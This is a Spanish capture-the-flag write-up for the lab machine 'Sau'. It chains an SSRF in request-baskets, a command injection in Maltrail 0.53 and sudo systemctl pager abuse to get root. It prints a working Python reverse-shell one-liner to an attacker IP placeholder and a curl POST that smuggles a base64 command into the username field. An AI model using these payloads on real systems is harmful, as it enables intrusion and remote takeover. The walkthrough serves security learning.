Sau

Table of contents

  1. Enumeracion
    1. Analisis del puerto 55555
  2. SSRF - access port 80
  3. RCE - Maltrail (v0.53)
  4. Escalada de privilegios

Enumeracion

Iniciamos con un escaneo de nmap con:

nmap -sS -n -Pn -T4 --open -p- 10.10.11.224
  • sS: haga un TCP SYN Scan el cual hace un escaneo sigiloso sin completar las conexiones TCP, responde con un SYN/ACK si el puerto esta abierto

  • n: para que no haga resolucion DNS y tarde menos el escaneo

  • Pn: para evitar el descubrimiento de hosts

  • open: para que solo muestre los puertos abiertos

  • -p-: para que escanee todo el rango de puertos

Y nos reporto el puerto 22 (SSH) y 55555:

PORT      STATE SERVICE
22/tcp    open  ssh
55555/tcp open  unknown

Adicionalmente, si mostramos los puertos filtrados, nos saldra el puerto 80

80/tcp    filtered http

Ahora escanearemos para obtener mas informacion sobre la version y el servicio que estan corriendo bajo esos puertos. En el puerto 55555 nos mostrara que encontro informacion de un sitio web y el recurso web:

nmap -sCV -p22,22,55555 10.10.11.224
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
55555/tcp open  unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Tue, 02 Jan 2024 22:20:01 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Tue, 02 Jan 2024 22:19:33 GMT
|     Content-Length: 27
|     href="/web">Found</a>. <-- recurso de un sitio web
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Tue, 02 Jan 2024 22:19:34 GMT
|_    Content-Length: 0

Analisis del puerto 55555

El puerto 55555 corresponde a un servidor web, por defecto nos manda al recurso web como se puede ver:

Si vemos en el footer del sitio, aparecera que esta usando request-baskets es una version

Powered by request-baskets | Version: 1.2.1 

Al realizar una busqueda en google, podemos notar que es vulnerable a SSRF

https://www.akto.io/cves/CVE-2023-27163-requestbaskets-up-to-v-was-discovered-to-contain-a-serverside

Nos menciona que esta vulnerabilidad nos permite acceder a recursos internos a travez de una peticion a la API que ejecuta por detras request-baskets

Analizando un poco mas las opciones del sitio, nos encontramos que podemos crear baskets y luego acceder a ellas mediante una URL. Al explorar una basket creada, podemos ver las solicitudes que se han echo asi como mas informacion, tambieb modificar algunas cosas de configuracion:

Tenemos la capacidad de hacer URL forwarding, es decir, hacer una redireccion a una URL.

SSRF - access port 80

SSRF: Server-side request forgery es una vulnerabilidad que permite a los atancantes realizar peticiones arbitrarias con el fin de acceder a servicios internos de la maquina.

Recapitulando, debido a que tenemos un SSRF, una redireccion URL, y el puerto 80 filtrado, podemos intentar modificar la configuracion de una basket de esta forma:

Lo que estaria pasando, es que cuando nosotros ingresemos a la URL que se genero cuando se crea un basket, esa peticion se estaria redireccionado a 127.0.0.1:80, y como existe un SSRF, estariamos accediendo al servicio interno de la maquina que corre en 127.0.0.1:80, lo cual indica que el SSRF se exploto correctamente como se puede ver

RCE - Maltrail (v0.53)

Como se observa al final, se esta usando la version 0.53 de Maltrail, al realizar una busqueda rapida en google, nos daremos cuenta que que podemos explotar una vulnerabilidad para conseguir RCE, leyendo un poco de la vulnerabilidad, el parametro username del recurso login no se sanitiza correctamente, lo cual permie que podamos inyectar comandos, por lo cual podemos explotarla directamente usando curl:

Usaremos python para crear una revese shell:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>", <puerto>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
Recuerda cambiar la IP y el puerto

Luego lo codificaremos en b64 y usaremos este comando para enviar una peticion por POST y en el parametro username le encadenamos el comando

curl -X POST "http://10.10.11.224:55555/dihpeef/login" -d "username=;$(echo "<base 64>" | base64 -d | bash)"

La URL debe ser por una basket que hayas creado y obtendremos una conexion

(A este punto tenemos la flag de user)

Escalada de privilegios

Si vemos los permisos de nivel de sudoers, podremos ver que el usuario puma puede ejecutar systemctl sin contraseña:

Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

Debido a que cuando ejecutamos comando con systemctl usa una interfaz o vista similar a la del comando less, podemos inyectar comando al final de la vista de systemctl de la siguiente manera

Observa como al final de la vista o cuando termina la informacion mostrada, se le ingresa el comando que queremos ejecutar, en este caso fue !bash (ignorar el WARNING: terminal is not fully functional, no la hice fully interactive TTY)

Con eso hemos conseguido root

Eso ha sido todo, gracias por leer ❤